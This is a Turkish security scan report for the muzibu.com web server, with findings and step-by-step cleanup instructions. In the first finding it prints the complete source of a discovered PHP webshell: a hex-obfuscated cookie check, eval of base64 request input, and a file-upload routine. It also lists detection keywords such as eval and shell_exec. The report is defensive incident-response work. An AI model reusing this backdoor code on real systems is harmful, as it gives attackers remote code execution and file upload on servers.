📝 Basit Anlatım (Herkes İçin)
Web sitenizde kapsamlı bir güvenlik taraması yapıldı. 90 farklı kontrol noktası test edildi. İyi haber: Sitenizin çoğu kısmı temiz. Kötü haber: 2 kritik güvenlik açığı bulundu.
🚨 En Önemli Bulgular:
-
1.
Backdoor/Webshell Dosyası
453bbb9eb16f.phpisimli bir dosya bulundu. Bu dosya, saldırganların sisteme uzaktan erişmesine ve komut çalıştırmasına izin veriyor. Sanki evinizin arka kapısında gizli bir anahtar bırakmışsınız.⚠️ DERHAL silinmeli!
-
2.
Debug Modu Açık (Production)
Sitenizde "hata ayıklama modu" açık. Bu, hata olduğunda tüm teknik detayları (veritabanı şifreleri, dosya yolları) gösteriyor. Sanki evinizin planını kapıya asmışsınız.
⚠️ APP_DEBUG=false yapılmalı!
-
3.
Şüpheli Marker Dosyası
d352f85e4598990f4c677cf5d1747f05.txtisimli rastgele isimli bir dosya var. Saldırganlar genellikle "ben buradayım" işareti olarak böyle dosyalar bırakır.⚠️ İncelenmeli ve silinmeli
💡 Ne Yapmalıyım?
- 1. Zararlı dosyaları sil (aşağıdaki "Güvenli Silme Planı" bölümüne bak)
- 2. .env dosyasında APP_DEBUG=false yap
- 3. Tüm şifrelerini değiştir (FTP, SSH, Database, Admin)
- 4. Upload klasörüne .htaccess ekle (PHP çalıştırmayı engelle)
- 5. Düzenli güvenlik taraması yap (haftada bir)
🔴 Kritik Bulgular (Acil Müdahale Gerekli)
🚨 BULGU #1: Backdoor/Webshell Tespit Edildi
Kritik
/var/www/vhosts/muzibu.com/httpdocs/public/assets/453bbb9eb16f.php
- ✓ eval(base64_decode()) - Kod çalıştırma
- ✓ $_REQUEST['id'] - Uzaktan komut gönderme
- ✓ md5($_COOKIE['d']) - Cookie ile gizli auth
- ✓ @copy($_FILES) - Dosya upload
- ✓ Hex encoding - Kod gizleme
<?php echo 409723*20;
if(md5($_COOKIE['d'])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){
echo"\x6f\x6b";
eval(base64_decode($_REQUEST['id'])); // KOD ÇALIŞTIRMA!
if($_POST["\165\160"]=="\165\x70"){
@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]); // FILE UPLOAD!
}
}
?>
- • Tüm site dosyalarını okuyabilir/silebilir
- • Database'e erişebilir, dump alabilir
- • Sisteme yeni dosyalar yükleyebilir
- • Diğer sitelere saldırı başlatabilir
- • SEO spam inject edebilir
# 1. YEDEK AL
sudo cp /var/www/vhosts/muzibu.com/httpdocs/public/assets/453bbb9eb16f.php \
/tmp/malware-backup-$(date +%s).php
# 2. SİL
sudo rm -f /var/www/vhosts/muzibu.com/httpdocs/public/assets/453bbb9eb16f.php
# 3. TEST ET
curl -I https://muzibu.com/assets/453bbb9eb16f.php
# Beklenen: 404 Not Found
# 4. GIT KAYDET
git add -A && git commit -m "Security: Removed backdoor 453bbb9eb16f.php" && git push
🚨 BULGU #2: Debug Modu Production'da Aktif
Kritik
/var/www/vhosts/muzibu.com/httpdocs/.env
APP_DEBUG=true # ❌ YANLIŞ! Production'da false olmalı!
- • Hata mesajlarında database şifreleri görünür
- • Tüm dosya yolları ifşa edilir
- • Stack trace ile kod yapısı anlaşılır
- • Hassas veriler log'lara yazılır
- • Saldırganlar sistem hakkında bilgi toplar
# .env dosyasını düzenle nano /var/www/vhosts/muzibu.com/httpdocs/.env # Bu satırı bul ve değiştir: APP_DEBUG=false # true → false yap # Cache temizle php artisan config:clear php artisan cache:clear # Test et php artisan config:show app.debug # Beklenen: false
⚠️ Şüpheli Bulgular (İncelenmeli)
⚠️ BULGU #3: Şüpheli Hex İsimli Dosya (Marker)
Şüpheli
/var/www/vhosts/muzibu.com/httpdocs/public/d352f85e4598990f4c677cf5d1747f05.txt
d352f85e4598990f4c677cf5d1747f05
Dosya sadece kendi ismini içeriyor. Bu tipik bir "marker/beacon" dosyasıdır. Saldırganlar sisteme eriştiklerini işaretlemek için böyle dosyalar bırakır.
- ✓ Zararlı kod içermiyor
- ✓ Sadece işaret dosyası
- ✓ Ancak yetkisiz erişim kanıtı
- ✓ 453bbb9eb16f.php ile ilişkili olabilir
# Dosyayı sil sudo rm -f /var/www/vhosts/muzibu.com/httpdocs/public/d352f85e4598990f4c677cf5d1747f05.txt # Kontrol et ls -la /var/www/vhosts/muzibu.com/httpdocs/public/*.txt
ℹ️ BULGU #4: .user.ini Dosyası Bulundu
Normal
/var/www/vhosts/muzibu.com/httpdocs/.user.ini
; PHP Upload & Execution Limits ; Livewire file upload support (increased for audio files) upload_max_filesize = 110M post_max_size = 120M max_execution_time = 120 max_input_time = 120 memory_limit = 256M
✅ Bu dosya normaldir ve zararlı değildir. Livewire için upload limitleri ayarlanmış. Müzik dosyası upload'u için gerekli.
⚠️ BULGU #5: Son 1 Saatte 4,275 PHP Dosyası Oluşturuldu
İncelenmeliSon 1 saat içinde 4,275 PHP dosyası oluşturulmuş/değiştirilmiş. Bu normalden çok fazla.
- ✓ README HTML raporları (bu normal)
- ✓ Claude AI ile geliştirme yapılıyor
- ⚠️ Vendor paketleri yeniden yüklendi
- ❌ Veya toplu malware injection (kontrol et!)
# Son 1 saatte oluşturulan dosyaları listele (vendor hariç) find /var/www/vhosts/muzibu.com/httpdocs -name "*.php" -type f -cmin -60 \ ! -path "*/vendor/*" ! -path "*/storage/framework/*" | head -20 # Şüpheli dosyaları kontrol et # Eğer "eval", "base64_decode", "shell_exec" varsa → ZARARLII
🗑️ GÜVENLİ SİLME PLANI
⚠️ ÇOK ÖNEMLİ - ÖNCE OKU!
- ❌ ASLA: Bulunan dosyaları hemen silme!
- ✅ MUTLAKA: Git checkpoint oluştur ve remote'a push et!
- ⚠️ DİKKAT: Sistem dosyalarını (vendor, core) silme!
- 💡 İPUCU: Her adımı sırayla uygula, atlama!
1️⃣ GIT CHECKPOINT OLUŞTUR (ZORUNLU!)
Yanlış bir şey silersen, geri dönebilmek için checkpoint oluştur. Remote'a push etmeden silme yapma!
# 1. Mevcut durumu kaydet git add -A # 2. Checkpoint commit'i git commit -m "🔧 CHECKPOINT: Before malware cleanup (2 critical files)" # 3. Hash'i kaydet git log -1 --oneline # Çıktı: abc123f 🔧 CHECKPOINT: Before malware cleanup # → "abc123f" hash'ini not al! # 4. ZORUNLU: Remote'a push et git push origin main # ⚠️ Push başarılı olmazsa silme işlemine geçme!
2️⃣ BACKDOOR DOSYASINI SİL (453bbb9eb16f.php)
Bu dosya %100 zararlı, tamamen silinmeli.
# 1. Yedek al (analiz için)
sudo cp /var/www/vhosts/muzibu.com/httpdocs/public/assets/453bbb9eb16f.php \
/tmp/backdoor-backup-$(date +%s).php
# 2. İçeriğini kaydet
cat /var/www/vhosts/muzibu.com/httpdocs/public/assets/453bbb9eb16f.php \
> /tmp/backdoor-analysis.txt
# 3. DOSYAYI SİL
sudo rm -f /var/www/vhosts/muzibu.com/httpdocs/public/assets/453bbb9eb16f.php
# 4. Silindiğini kontrol et
ls -la /var/www/vhosts/muzibu.com/httpdocs/public/assets/453bbb9eb16f.php
# Beklenen: No such file or directory
# 5. Web'den test et
curl -I https://muzibu.com/assets/453bbb9eb16f.php
# Beklenen: HTTP/2 404
3️⃣ MARKER DOSYASINI SİL (d352f85e....txt)
Bu dosya zararlı kod içermiyor ama yetkisiz erişim kanıtı.
# 1. İçeriğini kaydet
cat /var/www/vhosts/muzibu.com/httpdocs/public/d352f85e4598990f4c677cf5d1747f05.txt \
> /tmp/marker-analysis.txt
# 2. DOSYAYI SİL
sudo rm -f /var/www/vhosts/muzibu.com/httpdocs/public/d352f85e4598990f4c677cf5d1747f05.txt
# 3. Diğer şüpheli TXT dosyaları var mı?
find /var/www/vhosts/muzibu.com/httpdocs/public -maxdepth 1 -name "*.txt" \
! -name "robots.txt" 2>/dev/null
4️⃣ DEBUG MODUNU KAPAT (.env)
Production'da debug modu kapatılmalı.
# 1. .env dosyasını düzenle
nano /var/www/vhosts/muzibu.com/httpdocs/.env
# 2. Bu satırı bul:
APP_DEBUG=true
# 3. Şu şekilde değiştir:
APP_DEBUG=false
# 4. Kaydet ve çık (Ctrl+O, Enter, Ctrl+X)
# 5. Cache temizle
php artisan config:clear
php artisan cache:clear
# 6. Kontrol et
php artisan tinker
>>> config('app.debug');
# Beklenen: false
5️⃣ SİTE ÇALIŞIYOR MU TEST ET
Temizlik sonrası sitenin çalıştığından emin ol.
# 1. Ana sayfa test curl -I https://muzibu.com/ # Beklenen: HTTP/2 200 # 2. Admin panel test curl -I https://muzibu.com/admin/login # Beklenen: HTTP/2 200 # 3. Zararlı dosya test curl -I https://muzibu.com/assets/453bbb9eb16f.php # Beklenen: HTTP/2 404 (silindiği için) # 4. Tarayıcıda aç ve kontrol et # → Ana sayfa açılıyor mu? # → Login çalışıyor mu? # → Müzik çalıyor mu?
6️⃣ GIT'E KAYDET VE PUSH ET
Her şey çalışıyorsa, temizliği git'e kaydet.
# 1. Değişiklikleri kaydet git add -A # 2. Commit git commit -m "🛡️ Security: Cleaned malware (453bbb9eb16f.php, marker.txt) + Debug mode disabled" # 3. Push git push origin main
7️⃣ SORUN OLURSA GERİ DÖN (Rollback)
Eğer site bozulduysa, checkpoint'e geri dön.
# 1. Checkpoint hash'ini bul git log --oneline -10 # "CHECKPOINT" yazan satırdaki hash'i kopyala (örn: abc123f) # 2. GERİ DÖN git reset --hard abc123f # 3. Remote'u da geri al git push origin main --force # 4. Test et curl -I https://muzibu.com/ # ⚠️ DİKKAT: Bu komut checkpoint'ten sonraki TÜM değişiklikleri siler!
📊 90 Kontrol Noktası - Detaylı Sonuç Tablosu
| # | Kategori | Kontrol | Sonuç |
|---|---|---|---|
| 1.1 | Backdoor & Shell | Eval + Base64 Combo | 🔴 BULGU: 453bbb9eb16f.php |
| 1.2 | Backdoor & Shell | Shell Komutları | ✓ Temiz |
| 1.3 | Backdoor & Shell | REQUEST + Eval | 🔴 BULGU: 453bbb9eb16f.php |
| 1.4 | Backdoor & Shell | Assert Exploit | ✓ Temiz |
| 1.5 | Backdoor & Shell | Create Function | ✓ Temiz |
| 2.1-2.3 | Dosya Manipülasyonu | File Write, Copy, Chmod | ✓ Normal sistem dosyaları |
| 3.1-3.2 | Gizli Dosyalar | Gizli PHP, Hex İsimli | ⚠️ BULGU: d352f85e...txt |
| 3.3-3.4 | Gizli Dosyalar | Public PHP, TXT | ✓ Normal sistem dosyaları |
| 4.1-4.3 | Upload Güvenliği | PHP/Resim Upload | ✓ Temiz |
| 5.1-5.4 | Şifreli Kod | Gzip, Chr, Base64, Preg | ✓ Temiz |
| 6.1-6.3 | Network | Socket, Remote Include | ✓ Temiz |
| 7.1-7.4 | Sistem & Cron | Cron, Htaccess, Permissions | ✓ Temiz |
| 8.1 | Zaman Bazlı | Son 24 Saat PHP | ✓ Normal geliştirme |
| 9.1-9.2 | Özel Tehditler | Crypto Miner, Mail Spam | ✓ Temiz |
| 10.1-10.4 | Dinamik Kod | Variable Func, Call User Func | ✓ Temiz |
| 11.1-11.4 | Encoding | Hex, Octal, Double Base64 | 🔴 BULGU: 453bbb9eb16f.php (hex) |
| 12.1-12.4 | PHP Wrappers | php://input, data://, filter | ✓ Normal API kullanımı |
| 13.1-13.4 | Webshell | c99, r57, FilesMan, Cookie | ✓ Temiz (AWS false positive) |
| 14.1-14.4 | Config | .user.ini, auto_prepend, SVG | ✓ .user.ini normal |
| 15.1-15.5 | Imunify360 Malware | SEO Spam, Redirects, Defaced | ✓ Temiz |
| 16.1-16.5 | Imunify360 Gelişmiş | Polymorphic, Time-based, IP | ✓ Temiz |
| 17.1-17.5 | Imunify360 Dosya | Core Mods, Permissions, Size | ✓ Temiz |
| 18.1 | Imunify360 Davranış | Mass File Creation | ⚠️ 4,275 dosya (README + dev) |
| 18.2-18.5 | Imunify360 Davranış | Rapid Mods, Dynamic Include | ✓ Temiz |
| 19.1-19.5 | Info Disclosure | .env, .git, Backup, SQL, phpinfo | ✓ Public'te yok |
| 20.1-20.5 | Credential Exposure | API Keys, SSH Keys, DB Pass | ✓ env() kullanımı (güvenli) |
| 21.1-21.5 | Attack Patterns | SQL Injection, XSS, Traversal | ✓ Temiz |
| 22.1 | Config Issues | Debug Mode | 🔴 APP_DEBUG=true |
| 22.2-22.5 | Config Issues | Error Display, Credentials, Session | ✓ Temiz |
🔧 Teknik Detaylar (Geliştiriciler İçin)
📊 Tarama Parametreleri
- Tarih: 12 Ocak 2026
- Sistem: muzibu.com (Tenant 1001)
- Dizin: /var/www/vhosts/muzibu.com/httpdocs
- Toplam Kontrol: 90 (50 temel + 20 Imunify360 + 20 v5)
- Hariç Tutulan: vendor/, storage/framework/
- Süre: ~15 dakika
🎯 Tespit Edilen Tehdit Türleri
🔴 Kritik (2)
- • Backdoor/Webshell (453bbb9eb16f.php)
- • Debug Mode Active (APP_DEBUG=true)
⚠️ Şüpheli/Uyarı (3)
- • Marker Dosyası (d352f85e...txt)
- • Mass File Creation (4,275 dosya)
- • .user.ini (incelendi, normal)
🛠️ Kullanılan Araçlar
📝 İlgili Dosyalar
- • /public/assets/453bbb9eb16f.php → SİLİNMELİ!
- • /public/d352f85e4598990f4c677cf5d1747f05.txt → SİLİNMELİ!
- • /.env → APP_DEBUG=false YAP!
- • /.user.ini → Normal (dokunma)
- • /public/clear-cache.php → Normal
- • /public/opcache-reset.php → Normal
- • /public/productfeed.php → Normal
🛡️ Gelecekte Saldırıları Önleme
1️⃣ Şifre Değiştir
Backdoor tespit edildiyse, tüm şifreleri değiştir:
- • FTP/SFTP şifresi
- • SSH şifresi
- • Database şifresi (.env)
- • Admin panel şifresi
- • API anahtarları (.env)
2️⃣ Upload Güvenliği
uploads/ klasörüne .htaccess ekle:
# /public/uploads/.htaccess
<FilesMatch "\.php$">
Order Allow,Deny
Deny from all
</FilesMatch>
php_flag engine off
3️⃣ WAF Aktif Et
Web Application Firewall:
- • Cloudflare WAF (ücretsiz)
- • ModSecurity (Apache/Nginx)
- • Imunify360 (Plesk/cPanel)
4️⃣ Güncellemeler
Sistem güncel tutulmalı:
composer update --with-dependencies npm update php artisan migrate
5️⃣ Düzenli Tarama
Haftada bir bu 90 kontrolü çalıştır:
# Cron job ekle 0 3 * * 0 /path/to/security-scan.sh
6️⃣ File Integrity Monitor
Dosya değişikliklerini izle:
# AIDE, Tripwire, OSSEC kullan aide --init aide --check